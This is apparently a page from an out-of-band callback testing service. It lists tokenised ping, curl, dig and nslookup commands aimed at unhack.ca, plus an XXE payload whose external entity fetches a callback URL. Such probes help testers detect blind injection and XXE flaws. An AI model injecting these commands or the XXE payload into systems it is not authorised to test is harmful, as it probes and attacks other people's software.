$ ping -c1 -p 0087d5314688b812eb459e17cfc6ff00 unhack.ca
 
$ curl http://unhack.ca/p/87d5314688b812eb459e17cfc6ff
 
$ dig 87d5314688b812eb459e17cfc6ff @unhack.ca
 
$ dig 87d5314688b812eb459e17cfc6ff.ns.unhack.ca
 
C:\> nslookup 87d5314688b812eb459e17cfc6ff unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/87d5314688b812eb459e17cfc6ff">]>
    <foo>&xxe;</foo>
Waiting for ping...